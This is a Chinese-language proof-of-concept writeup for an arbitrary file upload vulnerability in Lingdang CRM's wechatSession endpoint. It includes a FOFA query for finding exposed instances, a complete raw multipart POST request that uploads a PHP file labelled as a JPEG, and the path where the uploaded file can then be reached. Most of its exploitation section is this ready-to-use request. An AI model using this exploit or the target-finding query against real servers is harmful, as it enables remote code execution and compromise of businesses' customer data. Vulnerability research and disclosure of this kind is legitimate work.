POC/wpoc/北京灵当互动信息技术有限公司/灵当crmwechatSession存在任意文件上传漏洞.md

# 灵当crm wechatSession存在任意文件上传漏洞

# 一、漏洞简介
<font style="color:rgb(51, 51, 51);">灵当CRM（Customer Relationship Management，客户关系管理）是一款面向中小企业的客户关系管理软件，旨在帮助企业更好地管理客户信息、销售流程、市场营销和服务支持等方面的工作。灵当CRM提供了一系列工具和功能，帮助企业在销售、市场和服务部门之间实现高效协作，提高客户满意度和业务效率。灵当crm wechatSession存在任意文件上传漏洞。</font>

# 二、影响版本
+ 灵当crm

# 三、资产测绘
+ fofa`body="[http://localhost:8088/crm/index.php"](http://localhost:8088/crm/index.php") && body="ldcrm.base.js"`
+ 特征

![1722999861305-1e9e41ad-ed6a-4750-918d-61a0631ad06a.png](./img/_w2Gyv2xSYRBrMgJ/1722999861305-1e9e41ad-ed6a-4750-918d-61a0631ad06a-091281.png)

# 四、漏洞复现
```plain
POST /crm/wechatSession/index.php?token=9b06a9617174f1085ddcfb4ccdb6837f&msgid=1&operation=upload HTTP/1.1
Host: 
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:126.0) Gecko/20100101 Firefox/126.0
Content-Type: multipart/form-data; boundary=---------------------------45250802924973458471174811279
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Length: 10338

-----------------------------45250802924973458471174811279
Content-Disposition: form-data; name="file"; filename="1.php"
Content-Type: image/jpeg

<?php phpinfo();?>
-----------------------------45250802924973458471174811279
```

![1728882630940-32cf6935-cb61-43f2-bb84-4062e86a1fea.png](./img/_w2Gyv2xSYRBrMgJ/1728882630940-32cf6935-cb61-43f2-bb84-4062e86a1fea-574633.png)

```plain
/crm//storage//wechatsession//2024//10//14//1.php
```

![1728882649323-7a5fedf2-fef6-49d3-a859-9f09ab4ab279.png](./img/_w2Gyv2xSYRBrMgJ/1728882649323-7a5fedf2-fef6-49d3-a859-9f09ab4ab279-976058.png)



> 更新: 2024-10-21 11:49:37  
> 原文: <https://www.yuque.com/xiaokp7/ocvun2/fq1csz1qt7nm1lgc>